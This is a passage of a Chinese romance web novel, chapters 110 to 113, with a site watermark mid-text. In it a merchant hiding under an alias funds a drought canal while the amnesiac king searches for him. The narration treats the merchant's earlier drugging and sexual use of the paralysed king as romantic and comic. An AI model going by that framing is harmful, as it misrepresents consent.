说完他又看向九大夫:“老规矩,九哥,你还是假扮我的夫君。” 九大夫无奈,为了帮阮锦隐藏身份,这些年他一直在假扮他的夫君,偶尔豆沙包也要配合的管他叫父亲。 他一肚子怨气的说道:“我觉得我这些年找不到合适的夫君,都是被你给耽误了。” 阮锦哈哈哈笑着,上前抱住九大夫在他脸上叭唧亲了一口,嬉皮笑脸的说道:“怪我怪我,听说京城好儿郎多得很,哪天我为夫君物色物色?” 九大夫一脸的无奈,心想谁让他厉害,谁让他个人魅力强,引得他们这些人心甘情愿的追随他呢? 他叹了口气,说道:“你小心玩儿脱了,毕竟我不是你的夫君,到时候惹出乱子来,可就不是闹着玩儿的了。” 阮锦并不觉得这有什么,单身的哥儿到哪里都不方便,如桃花县的梁同,极易被人觊觎。 他与李进分开后,李进曾去找过他几次麻烦,好在他是MJ的大客户,几次被阿大把李进堵在死胡同里揍,他以后便再也不敢了。 关于MJ那些老部下,阿丙娶了仙儿,两个还生了个可爱的女儿,一家子过的和和美美。 虽然三儿始终没有答应和尉迟融在一起,但两人也是板儿上钉钉的事儿了,在一起是迟早的。 阿二最有福气,竟然被县令的女儿看上,真真是傻人有傻福。 现在就剩下了四儿和九大夫,四儿还小先不说,九大夫这个大龄剩哥儿,确实得好好给他张罗张罗。 虽然阮锦并不觉得九大夫年纪大,也才二十三岁而已,这在他那个时代,也才刚刚大学毕业。 只是古人早婚,像四儿这样的,才算是适婚年龄。 九大夫和四儿整理了京城各大掌柜的名单,便吩咐手下人去送请柬了,这也算是阮锦第一次在渊都给各大掌柜开会。 而此时的王宫里,端阳公主已经差人将那个身形酷似阮锦的哥儿领进了宫。 渊夜昙的面前摆着一只发钗,细细打量着眼前的人,他微微眯了眯眼睛,说道:“转过身去,把头发散下来。” 那哥儿虽然不明白渊王说这话是什么意思,却也是照做了,他转过身去,拔下了头上的发簪,黑发披散下来,倒也别有一番风情。 渊夜昙却只是轻轻蹙了蹙眉,摇了摇头道:“不是,不是他……阿姐,让他走吧!” 他的身形纤细却不柔弱,身上的薄肌很有力量,剪影看上去更是如月下仙子策马而来。 端阳公主看了一眼那哥儿,只得吩咐:“那你便退下吧!” 那哥儿捡起自己的发簪,匆忙退了下去。 待他离开后,渊王的情绪却有些崩溃,他上前拉住端阳公主的手道:“阿姐,你……你可以帮我再找找吗?我……我想找到他,他还活着,他还……活着的!” 端阳公主不解,她一脸心疼的看向自家阿弟,问道:“阿弟,你是不是应该先查清楚了?不如派黑羽卫去查一查,当年的阮锦是否真的死了?” 渊夜昙却用力的摇着头:“不,不必查!我可以确定,他还活着,我见过他了!” 端阳公主心下大惊,他缓缓伸出手,在自家阿弟的额头上摸了摸,问道:“阿弟,你……莫不是疯了不成?” 见过一个……死了的人? 第110章 渊夜昙却执意的说道:“我昨夜发作,便是他帮我治了病,解了毒。阿姐,我真的见过他了!” 端阳公主却道:“可是阿弟,你的病每月发病一次,你上次发作是十天前,难道你忘了吗?” “十天前……对啊,是十天前……可是我为什么又发作了呢?”渊夜昙喃声道。 端阳公主终于开始焦急了:“快,快请御医!” 徐太医匆忙赶来,一搭渊夜昙的脉搏,当即有些惊讶道:“公主殿下,王……昨夜确实有行房事,且……且不止一次。应有……多次泄耗,这才让他的阳元上亢之症舒缓了下来。看这个情况,王上至少月余内无事。” 端阳公主震惊了,他一把扯住徐太医的胳膊,问道:“竟是真的?那……阿弟,你是和谁行了……那事?” 渊夜昙却一脸迷茫的摇了摇头,心想他昨晚将他的四肢麻痹,全身使不上一点力气,只能任他摆布。 此时昨夜的感观倒是清晰起来,那人十分猖狂,他在自己身上摸遍,角角落落都不曾放过,舔舐的感觉似是又回到身上,让他忍不住打了个哆嗦。 渊夜昙不知该如何形容那种感觉,他不再理会徐太医和端阳公主,反倒是转头吩咐黑羽卫:“谢晗,你去帮我找,务必找到他!” 谢晗也十分为难,说道:“王上,找……找谁?” 让他找人不难,可总得告诉他找谁吧? 总要有个特征,哪怕是大海捞针,他也有的放矢,不能王上您一句找人,就让我们没头苍蝇似的去找,我们黑羽卫也是人啊! 渊夜昙转身走到桌案,研墨执笔,在上面画出一个纤瘦修长的背影,那背影披头散发,并未着衣衫,单看身形便知,那是一个窈窕的哥儿。 可是画完后,渊夜昙却并未把画给谢晗,因为他不想让任何人去窥视那人赤裸的身形! 想了想便对谢晗道:“你……你去找方才来的那个……那个……” 端阳公主提醒他:“赵浊。” 渊夜昙点了点头,应道:“对,赵浊,让他散下头发,对比着他的身形画一幅,大概就是这个样子。” 谢晗领命而去,却仍是一头雾水,他心想王上这是受了什么刺激,出门几天归来又是一次性情大变。 不过王上性情大变倒也不是一次两次的事了,他身为臣子,只能照着他的吩咐去做。 只是在出发找人前,他还是特意回了一趟家,见了见自家的老婆大人。 大司农公务还是挺忙的,近日在忙着为京城周边的人修渠引水,这两年渊国北部地区一直处于干旱状态,百姓因此而饿死无数。 迟麟将北山的水引下来,让积雪融化的水来灌溉农田,这才缓解了京城的部分旱情。 只是若想缓解北郡区域的大旱,还需要修筑一条主干渠,彻底将渊山山渊的水引去北郡才可以。 这样既能解决渊山山脉每年的水患,更能缓解北郡的干旱,可以说是一举两得,只是这些年来渊国连年打仗,国库已经……见底了。 别说修渠,挖条水沟都得让迟大人自掏腰包。 但是迟大人也囊中羞涩啊,他就这点儿俸禄,虽然种了百十亩地,可最不赚钱的职业就是种地。 此时北郡大旱,天天愁的大司农睡不着觉,但渊王也已经尽力了,把能给的钱全给了他,奈何国库里真的没有钱了。 一见到迟麟,谢晗便开口道:“发什么呆呢?我在这儿看你半天了,怎么一动不动的?” 迟麟回过神来,淡淡说道:“你回来了?今日怎么有时间回来了?” 谢晗道:“王上吩咐我一件事,你还记得那名叫阮锦的郎君吗?” 迟麟嗯了一声:“记得,怎么了?” 他虽与阮锦并未相处太长时间,却是记忆深刻,当年与他也是一见如故,可惜后面便再也没有机缘再见了。 谢晗叹了口气,把那张背影的画像交给了迟麟:“这是王上吩咐我找的,你看这背影,是不是很熟悉?” 迟麟一打开画像便惊讶道:“这……王上有没有说这是谁?” 谢晗答:“其实这是长公主找来的人,此人虽然容貌和阮郎君并不相像,可他的背影和身形却与之极其相似。” “王上见了?”迟麟问道。 谢晗应了一声:“见是见了,可也只是看了一眼背影,便让他走了。却让画师照着他的背影画了一幅画像,吩咐黑羽卫,全力寻找。” 迟麟:…… 迟麟啧了一声,问道:“王上……可是想起些什么来了?” 谢晗摇了摇头:“若是想起来了,便不会是只有一个背影了。我总觉得,王上这几天应该是见到了什么人,否则怎么会突然想找人?” 迟麟没再多说什么,只道:“王上让你找你便找,跑来问我做什么?” 谢晗愁道:“麟儿,当年的事你肯定知道些什么,能不能给为夫一些线索?我们就这么抓瞎的找,根本就找不到啊!” 迟麟却淡淡的哼了一声,说道:“给我五十万两,把北郡的水渠修了,我便告诉你我当年的猜测。当然,也只是猜测,不保真。” 谢晗:……??? 他一脸无语的看向自家老婆,问道:“五十万两?我手上连五两都没有,我的俸禄不都让你拿去了吗?” 迟麟丝毫面子也不给他,说道:“那你在想屁吃?赶快找去吧!我还有我的事情要忙,没时间帮你分析你自己的差事。” 听迟麟这么说,谢晗知道修渠这件事对于迟麟来说确实相当棘手了。 他想了想,开口道:“根据黑羽卫商道上的消息,近日在渊火风头无两的那个摸鸡集团的大掌柜来了京城,且今夜要举办一个各大掌柜的什么集会。听说他这个人挺仗义的,如果你真的缺钱,今晚倒是可以递个帖子去看看。” 迟麟也听说过这个MJ集团,名字虽然取的怪怪的,但生意做的是真好,每一个店面都日进斗金。 据说他背后的大老板姓元,带人打通了海上航线,把生意做到了海的那一边。 他还说这个世界是个球形,从一个地方出发,还能从另一边转回来。 这些迟麟是不信的,自古老祖宗便说过,天圆地方,地圆天方那像话吗?到反天罡了。 不过,听谢晗这么说,迟麟确实是心动了,这位姓元的大掌柜可是非常有钱的,如果他能在修渠上略微资助一下,说不定北郡的旱灾就能得到缓解了。 做着这样的打算,迟麟便差人去给元耳送了一封帖子。 收到这帖子的时候,阮锦还是非常意外的,他看着上面迟麟的名字,便想到了三年前与这位大司农大人相谈甚欢的场影。 九大夫凑过来问道:“他可是认识你的,如果你不想见他,我可以替你去这次的掌柜大会。” 阮锦思索了片刻,却摇了摇头,说道:“不必,让他来吧!如果要达成我的心愿,我是一定要结交王庭中人的。与其藏头露尾,倒不如我直接出现在众人的面前。只不过……当年我的所做的那个局,毕竟涉及欺君之罪。如果有人拿它来做文章,我可能还没冒头就要被人给弄死了。倒不如,坐实了我元耳的身份。若是有人问起我和阮锦的关系,便只说……我是他表弟吧!” 表兄弟长得像,便也不会有人怀疑了。 九大夫淡淡点了点头,他知道,阮锦决定去渊都的那一天起,他们就注定会面临一些风波。 不论是他还是四儿,都做好了和那些风波周旋的心理准备。 阮锦收了帖子,对跑腿的小厮说道:“去告诉迟大人的管家,欢迎他晚上来鄙人会上闲坐。” 收到回帖的迟麟高兴极了,他也没想到自己的不情之请竟然这么快便得到了元大掌柜的答允。 这位元大掌柜的名声,这两年来在渊都声名雀起,他曾逛过一次MJ的泊来品商品,里面是琳琅满目的外来商品,据说都是用大趸船从海的另一边运过来的。 如果不是MJ这位大掌柜,恐怕渊国的人还不知道在海的另一边竟还有别的国家。 若是今日能和元大掌柜聊上一聊海外的事,那就再好不过了。 而此时的王宫里,渊夜昙在冷静下来后,也终于意识到自己似乎关心则乱了。 他觉得若是自己真的想要了解自己的过去,恐怕需要亲自回一趟桃花县,当年自己在桃花县究竟发生了什么,只要一查便清楚。 还有那个阮家村,当初自己在阮家村住过一段时间,问一问那里的乡民应该也能了解到一些情况。 打定主意后,渊夜昙便没有耽误时间,连夜骑上千里神骏便赶往了东南郡桃花县。 这一行为把端阳公主都给看懵了,她心想阿弟这回又抽什么风呢? 以往让他立妃立后他不立,让他选秀他不选,为他操心了好几年,到最后他却要跑去找一个已经死了的人。 端阳公主很气,却也没有办法,毕竟她弟疯,她不疯,只能替他守好政务。 是夜,阮锦的团建活动已经开始了,还在MJ的总部大楼上用红绸黄字挂了条幅:热烈庆贺MJ第一次大掌柜团建活动圆满成功! 门口还请了十分高雅的琴师在一旁弹奏古琴,更有瓦肆中舞艺最为高超的舞娘们当街献艺,一时间吸引来不少目光。 有旁的掌柜一脸艳羡的说:“哎呀,不愧是捉鸡集团的大掌柜啊!听说他们今天要开掌柜大会,这手笔,这档次,啧啧啧,怕是整个京城就没有一个人能比得了呢。” 同样坐在马车上的齐颂声皱起了眉头:“什么捉鸡大掌柜?我以前怎么没听说过?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 手下恭敬应道:“县子这两年在外当差,可能不太了解。这个MJ集团的大掌柜这两年风头无两,是整个京城,乃至渊国最有钱的大老板。听说他的店铺日进斗金,权贵人家的吃穿用度,都以MJ家的产品为荣。” 齐颂声皱了皱眉,问道:“哪里来的大老板?竟有这样的手段,也不知道背后是什么人?” 手下答:“这个还真不清楚,只知道他本事通天,造了吃水很重的大趸船,说是把整个有人的地方全跑遍了。运来了许多外国的东西,还有许多咱们这儿没有的吃食。比如那些南边的水果,什么椰子、柚子、香蕉、火龙果、菠萝蜜,还有那个……臭臭的榴莲。最受欢迎的当属榴莲,都说那东西闻着臭,吃着香,一只榴莲就要上百两银子,被咱们渊都称为果中黄金。公子改天一定得尝尝,对咱们哥儿的身体最是好呢。据贵族郎君们反应,说是吃了以后……” 手下压低声音道:“发情期都准了不少呢。” 齐颂声皱了皱眉,脸上露出了嫌弃,他现在年龄不小了,早已进入了成熟期,可王上却仍然没有要纳了他的意思。 甚至前两年还找了个借口,以让他外出历练为由,给他封了个云游使,让他去搜集四方风物志。 结果他这一去便是两年,今年才终于把任务完成,得以返京。 他对这MJ不MJ的不感兴趣,更不想吃那能让人发情期□□的臭榴莲,他只想早日见到王上,把自己精心采集的四方风物志献予他。 好在他这两年也并未再选秀,后宫除了一个住在外面的黛美人,倒也没有过别人。 这次他可是对王后之位志在必得的,谁也别想阻止他。 就在他准备吩咐手下离开时,却看到一辆眼熟的简陋马车停在了MJ总部的门口。 迟麟掀开马车的车帘,从马车上走了下来,本来这也没怎么让齐颂声在意,直到齐颂声看到一个有些眼熟的身影亲自上前来迎接他。 九大夫上前朝迟麟拱了拱手,说道:“迟大人,您大驾鄙会,真是让我MJ蓬荜生辉。” 迟麟心想原来这两个符号读MJ,他们一直都是读摸鸡的,还以为这商号的主人有什么特殊的癖好,原来是自己淫者见淫了。 迟麟也十分客气的朝九大夫拱手,两人相携走进了MJ总部的大门。 齐颂声有些不敢相信自己的眼睛,他问道:“那个人……为什么看着像三年前那个郎中?” 手下疑惑问道:“什么郎中?公子您是要看郎中吗?咱们侯府的府医已经很厉害了,应该不需要外面的郎中吧?” 齐颂声呼吸有些沉重,说道:“你明天帮我查查,看看这个摸鸡后面到底是什么背景。尤其是刚刚出来迎接迟麟的那个人,还有这幕后的老板。” 不论他们是什么来头,既然到了渊都,他身为渊都第一哥儿,王上亲封的县子,倒是要看看他们能在自己面前耍什么花枪。 迟麟迟大人被九大夫请进了堂内,直到行至无人处,迟大人才终于停住脚步,一脸狐疑的看向九大夫,问道:“九公子,我没有认错人吧?” 九大夫轻轻笑了笑,并未隐瞒:“迟大人好记性,竟然还记得我。” 迟麟心下震惊,问道:“你……我记得你是阮郎君的人?” 他说的是阮郎君的人,却并未像旁人那样说他是阮郎君的夫君。 九大夫应了一声:“对,我知道迟大人有许多疑惑,如果您有任何问题,不如直接和我们大掌柜谈吧!他已在小会客厅等侯多时,您见了他,自然便一切都清楚了。” 迟麟压下了心内的疑惑,跟着九大夫继续往里走,直到进入一个十分雅致的小会客厅,会客厅的装潢别具一格,墙上贴着好看的壁布,满地的厚抱枕,还有两只看上去十分柔软的沙发临窗放着,两只沙发的中间放着一只小茶桌,一看就非常舒服。 而在那小茶桌前,有一名墨发男子临窗而立,正背对着他站在那里。 九大夫只是对迟麟做了个请的手势,便转身退了出去,并贴心的替他们关上了门。 迟麟好奇的问道:“您……便是MJ的大老板,元先生吗?” 阮锦转过身来,对迟麟笑了笑,说道:“正是在下,迟大人,初次见面,请多多指教。” 说着,他朝迟麟行了个礼,得体又温和。 迟麟却震惊在了当场,他半天没找到自己的声音,直到阮锦又对他说道:“迟大人?被我吓到了吗?” 迟麟快步走到他面前,围着他转了两圈,终于笑了出来,说道:“阮锦!阮郎君!你……我就知道,你还活着!” 这笃定的语气,反倒是让阮锦有些意外了,他轻声笑了笑,说道:“想不到,迟大人竟然一点迟疑都没有便认定了我是阮锦。难道不应该叫我元老板,或者元耳先生吗?” “元耳?”迟麟了然道:“我明白了,我终于明白了。元耳为阮,这一切都有迹可寻!” 阮锦无奈一笑,说道:“本来还想用元耳这个身份和迟大人相处一段时间了,谁料迟大人您这么聪明,竟然一下子就把我认出来了。唉,也罢也罢,看来我不承认也不行了。当年我做局脱身,本也是为了自保,相信迟大人是可以理解我的吧?” 迟麟重重的点了点头:“你安心,我不会戳破你的身份。只是在这渊都里,见过你的人可不止我一个,你可以小心为妙。” 阮锦摆了摆手:“没事,即使旁人有怀疑,也没有证据。我现在的身份是阮锦的表弟,比阮锦小一岁,长得像也是理所应当的。多谢迟大人能为我保密,有什么是我能为你做的,尽管开口,我一定尽力完成。” 这反倒是轮到迟麟不好意思了,他叹了口气,说道:“阮郎君还是如当年一样聪明,知道我不会无缘无故的来找你。” 阮锦拉着他的手坐到沙发上,迟麟噗嗤一声陷进了沙发里,十分不习惯的说道:“这……这椅子,有些不太习惯。” 阮锦轻笑:“你就说舒服不舒服吧!” 迟麟点头:“那自然是舒服的。” 阮锦又给他倒了一杯咖啡,说道:“尝尝我自己调的拿铁,今夜咱们嗨起来,喝点咖啡提提神!要不迟大人今晚就别走了,咱俩好好叙叙旧?” 迟麟一脸高兴:“求之不得!” 阮锦哈哈笑着,问道:“那你这回总得说你找我什么事了吧?” 虽然迟麟非常不好意思,但他还是开口道:“我这也是没有办法了,渊国国库常年空虚。咱们王上,打仗是一把好手,赚钱却是不行的。百姓那边说免税便免税,以至于如今国库空虚,什么钱都拿不出来,还亏空了不少。近日北郡大旱,小麦减产大半,百姓有饿死的风险。我便想着,修一条从边郡到北郡的水渠,来年小麦能灌溉,肯定能缓解灾情。唉,可是修渠需要花钱,国库亏空,根本拿不出钱来。我上上下下跑遍了,也只筹到了几万两,还……差的多呢。” 听了迟麟的话,阮锦笑了,不是很在意的问道:“哦,还差多少?” 迟大人一脸的羞赧,声如蚊呐般的答道:“还差……四十五万两。” 阮锦随手一挥,喊了一声道:“四儿,去账上调一百万两银子给迟大人。让他加快进度修渠!争取在麦收结束前把渠修好。再去东郡调一万斤玉米种子,小麦收完后再种一茬玉米。玉米产量高,耐旱,成熟期短,百姓一定不会饿死的。不过为了防止万一,再从南郡调十万斤小麦过来,帮助北郡百姓度过难关。” 随着阮锦这一番话的说出,迟大人听的一愣一愣又一愣,直到他把话全说完,迟大人竟然扑通一声就给他跪下了。 吓的阮锦赶紧跳开,上前把他给扶了起来,气道:“迟大人,迟兄!你这又是干什么?” 迟麟的眼圈儿都红了,哽咽道:“我代北郡百姓,谢过阮郎君……不,谢过阮兄弟!” 阮锦把他扶回沙发上,说道:“这本来也只是随手的事儿,迟兄何必如此大惊小怪?” “顺手的事儿?”迟麟惊了,问道:“阮兄弟这三年都做了些什么?为何手上会有如此多的财帛?” 阮锦不好意思的说道:“嗨,也就是一不小心打通了全球的商路,各国王室成员都抢着和我做生意。他们手上有的是矿产和宝石,特别喜欢咱们国家的茶叶丝绸和瓷器。当然了,他们国家的许多特产也特别受咱们国家的贵族欢迎。我跑了三年的船,别的东西不敢说,赚钱方面怕是没有人赶得上我。” 迟麟的眼睛一亮一亮再一亮,心想国库空虚,就这么来了个摇钱树,若是王上可以立阮郎君为王后,那以后再有什么需要用钱的地方,岂不是再也不用他上上下下的去跑了? 此时的阮锦还不知道迟麟打了什么主意,倒是渊夜昙陷入了他此生最大的迷茫。 渊夜昙连夜策马赶到了东南郡桃花县,多方打听之下,在阮家村里打听到了关于他过去的一些消息。 说是当初阮锦和他成了亲,村子里的人是都知道的,两人的感情特别好,甚至阮锦开的食肆都取名蛮锦食肆。 他又问了知情人,蛮锦食肆在何处,那知情人便把地址给了他。 谁料当他策马赶到蛮锦食肆旧址的时候,才发现原来的蛮锦食肆此时已经改成了名为MJ符号的豪华酒楼,属于他的蛮锦……没了。 第112章 渊夜昙不懂这是何种感受,只知道心里很是不舒服,堵的厉害。 既然他如此爱自己,为什么又要把蛮锦卖给别人? 还是他真的死了,所以才会将属于他们的一切全部抹去? 再一想到那一夜的惊涛骇浪,渊夜昙瞬间又否定了自己的猜测,他心想不可能,自己这一世只和阮锦行过夫夫之事,除了他,自己绝对接受不了别人! 这么想的时候他似乎忘了,分明是阮锦把他麻倒以后强上的他。 相较于渊夜昙这边的顾影自怜,阮锦和迟大人这边却过的十分热闹,他拉着阮锦非要与他结拜,跪到院子里拜月亮:“今日我迟麟,一定要与阮兄弟结为异姓兄弟。从此以后,他便是我的亲弟弟!不论他遇到任何事情,我迟麟哪怕赴汤蹈火,万死不辞!” 阮锦:…… “迟大哥,言重了!咱们虽然不是同年同月同日生,大概率也不会同年同月同日死。不如咱们就合力为百姓谋福祉,也算同年同月同日搞政绩了!” 其实阮锦有他自己的想法,他不想让迟麟把自己想的太过伟大。 不过他俩准备要做的事,倒也没有任何冲突的地方。 只要是为了百姓好,迟麟其实并不在意别的。 今日的大掌柜团建,因为迟麟的到来,倒是更加增添了几分热闹。 迟麟本来是不太爱喝酒的,但今天他轻轻松松就酬到了一百万两银子,别说是喝酒了,哪怕是让他喝……算了,那东西还是不喝为好。 他硬是拉着阮锦结了拜,又跟MJ的各大掌柜敬了酒,想着和MJ的众人打好关系,以后有事也好向他们开口。 他一不贪财二不好色,唯独想让百姓过的好一些,只要百姓好,他这一生便再无他求了。 许是今晚喝的多了些,他拉着阮锦一直在说话,说他年轻是的梦想,说他因为哥儿的身份,纵然怀有大才,也无缘入朝堂。 “若非王上,特开恩科,为我们哥儿谋求了一条出路,否则我这一生……嗝……便只能在后宅里度过了……” 阮锦心想迟大人这个人看着斯斯文文的,谁能想到他喝醉了也如此能聊。 直到迟府的管家来寻,阮锦才打算扶着他上马车,并想亲自将他送出门去。 谁料迟麟却一把扒拉开管家的手,说道:“不,今晚……我不回去了!我要与阮……元弟彻夜长谈!” 管家有些为难道:“可是大人,谢大人今夜回府,特意吩咐我来接您的。” 谢晗和迟麟夫夫感情好,每次只要迟麟有时间回去,谢晗再忙都是要陪他的。 毕竟黑羽卫的时间十分不自由,相比较来说,大司农倒是轻闲了些。 谁料今日迟麟却十分笃定的说道:“他回来我就得回去吗?废物男人!让他帮我搞钱都搞不到!你今日便回去告诉他,我要和元兄弟……一起睡!” 管家快吓死了,心想自家大人怎么一把年纪还叛逆起来了? 但他一个家仆,哪里管得了主子的事儿,只得回了迟府如实相告。 谢晗一听也急了,心想咱们成婚的时候你也不是不知道我的情况,你分明说过不嫌弃我是王上手里的一把刀,不嫌弃我天天扛着脑袋过日子。 如今倒好,只是因为我搞不来钱,你便要去和别人睡,成婚时的海誓山盟你都忘了吗? 谢晗很受伤,捂着心口问道:“他……他当真说,要……要和别的男人一起睡?” 管家也不知道该如何解释,只道:“那个……元家的人跟我一起回来的,他怕我解释不清楚,不如大人您亲自问他?” 谢晗恨恨道:“好,好,真是好!我倒是要看看,什么样的男人,竟能从我手上把阿麟抢走!” 管家满头黑线的把九大夫请了进来,九大夫十分礼貌的朝谢晗行了个礼道:“谢大人,真是抱歉,无意打扰您与迟大人,只是今晚迟大人着实是饮多了些。便只能让他先宿在寒舍,还望谢大人见谅。” 谢晗看向九大夫,受伤的表情更明显了,他痛心疾首道:“难怪,难怪!难怪他不肯回来!原来是看上你这个小白脸了!” 九大夫:??? 等等,什么叫小白脸? 你是不是误会了? 他皱了皱眉,刚要说些什么,便见谢晗把腰上的佩剑一扔,说道:“我若让你拔剑,倒是欺负你了!我赤手空拳让你十招!你若打不赢我,便把我的阿麟还回来!” 九大夫:!!! 这是什么级别的恋爱脑,你老婆都要跟人睡了,你竟然还想着让我还回来。 九大夫也是苦啊,他想说自己堂堂一哥儿,怎么可能看上他老婆。 可他此时却身负为阮锦隐藏身份的责任,只得硬着头皮解释道:“谢大人误会了,迟大人是要和我家夫郎睡,不是要和我睡。我身为元耳的夫君,也是爱他爱到骨子里的,您这样说,既侮辱了迟大人,也侮辱了我对阿元的感情。” 这台词过于肉麻,他这辈子连男人的味儿都还没尝过,就被迫营业了。 九大夫想哭,但这还不是哭的时候。 听了这番话的谢晗怔愣在了当场,半天后才清了清嗓子,刚要说些什么,管家便又来报:“大人,蒙铎蒙将军来了。” 谢晗一脸的尴尬,不远处便传来了蒙铎的声音:“老谢!我听说王上又跑路了?” 话音刚落,蒙铎便皱起了眉,说道:“有外人?” 谢晗赶紧介绍道:“啊这……这位是……是……” 九大夫自我介绍道:“在下姓白,行九,您叫我一声白九就可以了。” 蒙铎一脸狐疑的看向九大夫,问道:“姓白?呵,不是中原人啊?越国那边来的?” 九大夫点了点头:“越国一平民罢了,蒙将军不必把我放到心上。” 蒙铎这个人很是谨慎,冷笑一声道:“平民?一个平民,却跑到谢将军的家里来,可不好说有什么居心。” 九大夫一听就有些生气,嗤笑一声道:“蒙将军这么说可不妥当,我是生在越国,可现在却是名正言顺的渊国人,有户藉为证。倒是蒙将军,您一进门便口不择言的透露了王上的行踪。怎么,是怕我这个不小心听到的人泄密,所以才先发制人的吗?这件事,若是你不说,我怎么可能知道?蒙大人以后行事还是谨慎些,否则迟早会给渊国的王上惹下大祸!” 说着他又朝谢晗行了个礼,说道:“白某就不多留了,今晚是你家夫郎执意要留宿在我家夫郎房中的。谢大人委屈,某更委屈。若是谢大人有意见,不如明天就多和迟大人沟通一下吧!” 九大夫说完全再也没有理会两个五大三粗的傻逼男人,转身离开了迟麟的大司农府。 蒙铎这是第一次被怼得哑口无言,指着九大夫说道:“你……这……谢大人,他到底是什么人?” 谢晗也很心虚,说道:“就……阿麟朋友的夫君。” 蒙铎却一脸的看不上:“一个大老爷们儿,如此伶牙俐齿!哥儿唧唧的,还生就了一张小白脸儿,呵呵,一看就不如咱们渊国人英武。” 刚走出门的九大夫恰好听见了,心里暗骂一句,也不知道是谁哥儿唧唧的,背后说人坏话的长舌夫! 一夜无话,迟麟这一醉便是一天一夜,回去的时候谢晗已经去黑羽卫当职了。 管家把昨夜所发生的事和迟麟说了一遍,迟麟冷笑一声:“废物男人,搞钱不行,吃醋倒是第一名!他有没有说他此行要走多久?” 管家摇了摇头,迟麟便心中有数了。 既然没有透露半分,那么肯定是和王上有关,怕是短时间内回不来。 谢晗此次的任务确实和渊夜昙有关,这两天他跑趴下了两匹千里马,一天时间又从东南郡返回了渊都。 召回了黑羽卫统领谢晗,让他全力调查阮锦死亡的真相。 迟麟又问管家:“王上回来了,是吗?” 管家点了点头:“应当是回来了,否则将军不会如此匆忙的离开。” 迟麟嗯了一声,说道:“备马车,我要进宫一趟。你再帮我去给元兄弟送一封信,记住,一定要你亲自送到他手上。” 管家应道:“是,家主。” 王宫里,渊夜昙困的不行了,两天两夜没睡,本打算补一觉的,谁料大太监来报,大司农有急事禀报。 没办法,渊夜昙只得硬撑着眼皮,让人把迟麟叫了进来。 迟麟一见到渊夜昙便扑通一声跪了下来,一脸喜色的说道:“王上,大喜事,天大的喜事!” 现在渊夜昙一听到“喜事”两个字他就头疼,按了按太阳穴,嗓音沙哑的问道:“什么喜事?” 迟麟道:“臣,酬到了一百万两银用于修筑北郡水渠!这算不算天大的喜事?” 渊夜昙竟也十分意外的怔愣了一下,他缓缓点了点头:“嗯,的的确确算是一桩喜事。不过,一百万两银子不是小数目,你这些钱是从哪里酬来的?该不会是上卿大人让谢将军去打家劫舍了吗?” 迟麟:…… 他一脸嫌弃的说道:“王上说笑了,谢晗除了打架,哪能弄来钱。哪怕是去打家劫舍,他恐怕也找不到有钱的人家大门朝哪儿。” 渊夜昙竟无法反驳,好像是这个样子的。 他和谢晗从某种意义上来讲差不多,他打了大大小小那么多的胜仗,银子花了不老少,却没从外面带回一个子儿来。 但在渊夜昙面前,迟麟还是给谢晗留足了面子,只是阐述道:“这银子,是一名名叫元耳的义商无偿赠予的。王上,您可知道元耳这个人?” 第113章 身为渊国的王,渊夜昙日理万机,怎么可能把每一个商人的名字都记在心里。 他摇了摇头,问道:“那是何方人氏?” 迟麟答:“哦,王上可能没听说过他的名字,毕竟他这个人比较低调。但他的商号您可能听说过!就是现在渊都到处都是的MJ啊!” 听到MJ两个字,渊夜昙手上的茶杯啪的一声掉到了地上,他皱了皱眉,呵呵笑了一声道:“那他确实有钱。” 迟麟观察着渊夜昙的神情,心想这状态不太对啊,为什么王上好像不太喜欢元耳的样子? 一旁的小太监收拾了掉到地上的茶杯,并仔细的擦干净了水渍。 迟麟试探着问道:“王上您……是见过元先生吗?” 渊夜昙否认道:“那倒没有……” 嗯,他撒谎了,那天晚上他捡到了结拜的小义弟,本来只是哄孩子玩儿的,谁料那孩子待他倒是真诚,还给他介绍了他的爹爹。 那小义弟是MJ的少主,想必他的爹爹便是元耳吧? 但当天晚上天色过暗,他并未看清那人的容貌。 迟麟心想,想必你确实没见过,如果你见过,估计就知道他是谁了。 但也不一定,毕竟王上失了忆,当年与阮兄弟所发生的事全被他给忘了,这也是阮兄弟隐姓埋名的原因。 如今阮兄弟归来,既然在京城现身了,那定有重新与王上修于旧好的意思。 王上失忆后,对情事又恢复了往日的冷淡,哪怕是封了个美人,也将他赶去了宫外,还有那个对王上痴缠着的齐县子,更是被王上支出了渊都。 但他相信阮兄弟不一样,他能拿捏王上一次,便定能拿捏王上第二次。 想到这里,迟麟又笑了笑,说道:“王上,修渠一事,关乎数以万计百姓的性命。而且元先生还运了几万斤粮食,以解北郡百姓灾情。还有还有,元先生还打算支援北郡玉米种子一万斤。他说,小麦收了便可种玉米,几个月便能丰收。玉米非但产量高,且极其抗旱,正是适合北郡。王上,元先生如此大义,真乃我渊朝之福哇!” 渊夜昙听了迟麟这番话后,忍不住按了按太阳穴,他心想或许真的是我小心眼了。 他只是买下了蛮锦食记而已,也没做过什么不好的事。 能出一百万两银子助北郡修渠,还捐了那么多粮食和良种,说明此人确实是个义商。 渊夜昙嗯了一声,问道:“上卿觉得,孤应该如何赏赐他?” “呃……”迟麟清了清嗓子,说道:“王上,咱们渊国虽大,国库却是空虚的。钱财什么的,必然是赏赐不了的。既然不能让他得利,不如便让他得名?” “哦?如何得名?” 迟麟笑了笑,说道:“王上您看,渊国现在的爵位被贵族垄断。寒门士子,向来很难从中分到一杯羹。其实,这样对于渊国的百姓是极其不利的。贵族们无法共情百姓疾苦,寒门士子手中无实权。而且士族门阀横行,更是与王权相抗衡。王上若是能扶持属于自己的势力,在王庭上与之分庭抗礼,于朝堂来说是有百利而无一害的。” 渊夜昙其实并不在意朝堂上的那些抗衡,毕竟他杀起大臣来从不眨眼,只要那大臣有把柄在他身上,他是从来不会放过的。 只是迟麟倒是说的没错,于百姓有利的事,渊夜昙向来不拒绝。 他淡淡嗯了一声:“卿觉得,孤封他个什么为好?” 迟麟假装思索道:“这样,王上,下臣回去再好好想想。想想如何,才能更好的让他为王庭出力,为百姓谋福祉!” 渊夜昙点了点头,迟麟是他自己提拔上来的,他对迟麟自然是十分信任的,便吩咐道:“如果对大渊有利,那这件事便交给迟上卿处理了。” 迟麟连连应是,便告退了渊帝,离开了王宫。 其实迟麟已经心里有数了,帮阮锦,也是在帮大渊。 王上一统华夏是指日可待的,但他身为王上的近臣,最明白王上的问题在哪里。 他是开疆的霸王,却不是治世的明君,国库让他霍霍成这个样子,也不是一般人能做得到的。 或许有阮兄弟帮他管着家,渊国的情况便能好上不少呢? 